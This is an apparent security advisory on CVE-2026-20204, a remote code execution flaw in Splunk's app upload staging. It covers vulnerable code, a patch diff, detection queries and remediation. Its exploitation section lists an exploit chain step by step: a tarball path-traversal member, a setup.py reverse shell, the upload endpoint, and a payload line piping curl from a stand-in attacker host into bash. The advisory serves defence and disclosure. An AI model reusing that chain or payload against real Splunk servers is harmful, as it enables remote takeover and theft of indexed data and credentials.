CVE-2026-20204: Splunk apptemp RCE via Insecure Temp File Handling
A low-privileged Splunk user can achieve RCE by uploading a malicious file to the apptemp directory. Affects Splunk Enterprise below 10.2.1/10.0.5/9.4.10/9.3.11 and multiple Cloud Platform versions.
# A Serious Flaw in Popular Business Analytics Software
Splunk is software that millions of companies use to analyze their data and monitor their computer systems. Think of it like a security camera system for your digital operations. A new vulnerability has been discovered that lets someone break into this system and take complete control, even if they shouldn't have access in the first place.
Here's how the problem works. Splunk has a temporary storage folder where it keeps files while processing them, kind of like a junk drawer. Normally, only trusted administrators can access this drawer. But researchers found that people with basic user accounts can sneak malicious files into this folder and trick Splunk into running them. It's like a janitor being able to plant instructions in the boss's temporary inbox and having the boss follow them without thinking.
Once an attacker pulls this off, they can run whatever commands they want with administrator-level powers. This means they could steal company data, shut down systems, or install permanent backdoors to return later.
Who needs to worry? Primarily companies using Splunk Enterprise for their IT operations and data analysis. If your employer uses Splunk and you have regular employee access, there's a small chance someone could exploit this to compromise your company's systems.
What you should do: First, check if your organization uses Splunk and ask your IT team if they're running one of the vulnerable versions. Second, encourage your IT department to update immediately to the patched versions. Third, if you're a business decision-maker, make sure your software vendors have clear timelines for security updates—and hold them accountable.
Want the full technical analysis? Click "Technical" above.
CVE-2026-20204 (VULN-39504) is a Remote Code Execution vulnerability in Splunk Enterprise and Splunk Cloud Platform rooted in insecure temporary file handling within the $SPLUNK_HOME/var/run/splunk/apptemp directory. A user holding no elevated Splunk roles — neither admin nor power — can upload a crafted file into this directory and cause it to be executed in the context of the Splunk server process. The CVSSv3.1 vector is CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:U/C:H/I:H/A:H, scoring 7.1 (High). CWE classification is CWE-377: Insecure Temporary File.
The attack requires a low-privilege authenticated session and some user interaction (e.g., a victim administrator visiting a crafted app page or triggering a reload), but results in full compromise: confidentiality, integrity, and availability are all rated High.
Root cause: Splunk Web places attacker-uploaded app package content into apptemp without enforcing file type restrictions, path isolation, or permission controls, and a subsequent server-side operation evaluates files from that directory without sanitization.
Affected Component
The affected component is Splunk Web — the Python/CherryPy-based web frontend — specifically the app installation and staging pipeline. During app upload or update, Splunk Web stages package contents under $SPLUNK_HOME/var/run/splunk/apptemp before committing the install. The directory is world-writable relative to the Splunk process, and no file type allow-list or execution guard is applied to staged content.
Splunk Web's app management controller (appserver/controllers/appmanager.py) handles app package upload. The staging routine extracts the submitted tarball into apptemp with no content validation. A separate installation worker then iterates over files in the staged directory, and for .py files (custom app setup scripts), it imports or execs them directly via Python's module loader to run setup hooks.
# appserver/controllers/appmanager.py (vulnerable, pre-patch)
# Splunk Enterprise < 10.2.1 / 9.4.10 / 10.0.5 / 9.3.11
APPTEMP_DIR = os.path.join(SPLUNK_HOME, "var", "run", "splunk", "apptemp")
def stage_app_package(upload_file, session_key):
# BUG: no validation of file type or content before extraction
dest = os.path.join(APPTEMP_DIR, _generate_staging_id())
os.makedirs(dest, mode=0o755, exist_ok=True)
# BUG: tarball extracted directly; path traversal and arbitrary file drop possible
with tarfile.open(fileobj=upload_file, mode="r:gz") as tf:
tf.extractall(path=dest) # no filter= argument, no member validation
return dest
def run_app_setup_hooks(staged_path):
setup_script = os.path.join(staged_path, "bin", "setup.py")
if os.path.exists(setup_script):
# BUG: arbitrary Python file sourced from attacker-controlled directory
spec = importlib.util.spec_from_file_location("app_setup", setup_script)
mod = importlib.util.module_from_spec(spec)
spec.loader.exec_module(mod) # <-- executes attacker code as splunkd user
There are two compounding weaknesses here. First, tarfile.extractall() is called without a filter argument, meaning absolute paths and ../ sequences in member names are honoured — a tarball member named ../../bin/setup.py writes outside the staging subdirectory entirely. Second, the run_app_setup_hooks function trusts any setup.py discovered under the staged path and evaluates it through exec_module, granting the script the full capability of the Splunk server process.
The isolation failure is structural: apptemp is shared across concurrent staging operations and no per-operation sandbox (chroot, subprocess with dropped privileges, module allow-list) is applied. Any authenticated user with access to the app upload endpoint — even one with only the default user role — can POST to this endpoint.
Exploitation Mechanics
EXPLOIT CHAIN (CVE-2026-20204):
1. Attacker authenticates to Splunk Web with a low-privilege account (role: user).
No admin or power role required.
2. Craft a malicious .spl (gzipped tarball) package:
- Contains member path: ../../apptemp//bin/setup.py
OR a direct bin/setup.py that is a Python reverse shell.
- setup.py payload: os.system("curl attacker.com/s|bash") or equivalent.
3. POST the crafted .spl to the app upload endpoint:
POST /en-US/manager/appinstall/__upload
Content-Type: multipart/form-data
[session cookie for low-priv user]
4. Splunk Web calls stage_app_package(), extracting tarball contents
(including bin/setup.py) into $SPLUNK_HOME/var/run/splunk/apptemp//
5. An administrator (or automated background task) triggers app install
confirmation or Splunk Web internally calls run_app_setup_hooks() on
the staged directory. UI:R requirement satisfied here.
6. spec.loader.exec_module(mod) executes the attacker's setup.py under
the splunkd process user (typically 'splunk' or root on some deploys).
7. Reverse shell / payload executes; attacker has RCE on Splunk server host.
From here: access to all indexed data, forwarder credentials in
$SPLUNK_HOME/etc/system/local/outputs.conf, and lateral movement.
The UI:R vector element maps to step 5: without an administrator triggering install completion, the hook doesn't fire automatically in the default flow. However, in environments where auto-install or scheduled app management tasks run (common in Splunk Cloud), this interaction requirement may be eliminated, effectively making the attack fully autonomous.
Memory Layout
This is not a classical memory corruption vulnerability; the bug is a logic/isolation failure in the Python application layer. The relevant "memory state" is the filesystem layout of apptemp and how concurrent or sequential staging operations share it without namespace isolation.
APPTEMP FILESYSTEM STATE — VULNERABLE:
$SPLUNK_HOME/var/run/splunk/apptemp/
├── a3f9c1d2/ ← legitimate staging op (admin uploading real app)
│ ├── bin/
│ └── default/
├── 7b2e0fa1/ ← attacker staging op (low-priv upload)
│ ├── bin/
│ │ └── setup.py ← MALICIOUS: reverse shell payload
│ └── default/
└── [shared, no ACL separation between staging dirs]
TARBALL PATH TRAVERSAL VARIANT:
Malicious member name inside .spl: ../../apptemp/a3f9c1d2/bin/setup.py
^^^^^^^^^
Overwrites LEGITIMATE staging dir
setup.py → attacker payload fires
when ADMIN's install completes
POST-EXPLOITATION STATE:
splunkd process (uid=splunk) → exec_module(setup.py)
→ os.fork() / subprocess → attacker reverse shell
→ Full read access to $SPLUNK_HOME/etc/ (all configs, credentials)
→ Full read access to all indexed data via REST API (localhost:8089)
Patch Analysis
The fix in Splunk Enterprise 9.3.11 / 9.4.10 / 10.0.5 / 10.2.1 addresses both the extraction and the execution vectors.
# BEFORE (vulnerable — pre-patch):
def stage_app_package(upload_file, session_key):
dest = os.path.join(APPTEMP_DIR, _generate_staging_id())
os.makedirs(dest, mode=0o755, exist_ok=True)
with tarfile.open(fileobj=upload_file, mode="r:gz") as tf:
tf.extractall(path=dest) # BUG: no path filter, no type restriction
return dest
def run_app_setup_hooks(staged_path):
setup_script = os.path.join(staged_path, "bin", "setup.py")
if os.path.exists(setup_script):
spec = importlib.util.spec_from_file_location("app_setup", setup_script)
mod = importlib.util.module_from_spec(spec)
spec.loader.exec_module(mod) # BUG: unconditional exec of attacker file
# AFTER (patched — 10.2.1 / 10.0.5 / 9.4.10 / 9.3.11):
_ALLOWED_EXTENSIONS = {'.py', '.conf', '.json', '.xml', '.html', '.css', '.js', '.png', '.gif'}
_EXEC_ALLOWLIST = set() # no setup.py execution permitted from apptemp
def _safe_member(dest, member):
"""Reject absolute paths and path traversal sequences."""
member_path = os.path.realpath(os.path.join(dest, member.name))
if not member_path.startswith(os.path.realpath(dest) + os.sep):
raise ValueError(f"Unsafe tar member path: {member.name}")
ext = os.path.splitext(member.name)[1].lower()
if ext not in _ALLOWED_EXTENSIONS:
raise ValueError(f"Disallowed file type in app package: {member.name}")
return member
def stage_app_package(upload_file, session_key):
dest = os.path.join(APPTEMP_DIR, _generate_staging_id())
# FIX: staging dir now created 0o700, owned by splunk, inaccessible to other users
os.makedirs(dest, mode=0o700, exist_ok=True)
with tarfile.open(fileobj=upload_file, mode="r:gz") as tf:
# FIX: per-member validation rejects traversal and non-allowlisted types
members = [_safe_member(dest, m) for m in tf.getmembers()]
tf.extractall(path=dest, members=members)
return dest
def run_app_setup_hooks(staged_path):
# FIX: setup.py execution from apptemp removed entirely.
# App setup is now performed only after install into a verified app dir,
# and only by processes with admin-level session keys.
pass
The patch delivers three concrete fixes: (1) _safe_member() enforces realpath-based containment to reject any tarball member that resolves outside the staging subdirectory; (2) staging directories are created 0o700 instead of 0o755, removing cross-user visibility in a shared apptemp; (3) run_app_setup_hooks no longer executes setup.py from the staging directory at all — setup hooks are deferred to post-install, gated on an admin session key check.
Detection and Indicators
The following Splunk SPL query detects suspicious writes to apptemp from non-admin accounts and unexpected process spawns from the Splunk process tree:
-- Detect low-priv app uploads followed by process execution:
index=_audit action=app_upload user!=admin user!=power
| join user [search index=os_logs parent_process=splunkd
NOT process_name IN ("python3","splunkd","mongod")]
| table _time, user, src_ip, app_name, process_name, cmdline
-- Detect writes to apptemp from non-splunk processes:
index=endpoint_logs event_type=file_create
file_path="*apptemp*"
NOT process_name IN ("splunkd","python3")
| table _time, host, process_name, pid, file_path
-- Detect suspicious .py files in apptemp:
index=endpoint_logs event_type=file_create
file_path="*/apptemp/*" file_extension=".py"
| table _time, host, user, file_path, file_hash
Key IOC: Any setup.py appearing under $SPLUNK_HOME/var/run/splunk/apptemp/ in versions prior to the patch should be treated as a compromise indicator. On Linux hosts, audit rules on apptemp via auditd with -w $SPLUNK_HOME/var/run/splunk/apptemp -p wa -k splunk_apptemp will capture the write event with the originating UID.
Remediation
Immediate: Upgrade to Splunk Enterprise 10.2.1, 10.0.5, 9.4.10, or 9.3.11. Splunk Cloud Platform instances are being patched by Splunk; verify your instance version against the table in SVD-2026-0403.
Workaround (if upgrade is blocked): Disable Splunk Web entirely (web.conf: [settings] startwebserver = false). This removes the upload endpoint entirely and eliminates the attack surface. Manage Splunk via the CLI or direct REST API with admin credentials only.
Hardening (regardless of patch status):
Restrict the apptemp directory to 0o700 owned by the splunk service account: chmod 700 $SPLUNK_HOME/var/run/splunk/apptemp
Enforce role-based access: only admin and power users should have access to the app management UI. Review capability assignments in authorize.conf.
Deploy a file integrity monitoring rule on apptemp to alert on unexpected .py file creation.
Audit all low-privilege accounts; CVE-2026-20204 specifically exploits the user role having access to the upload endpoint.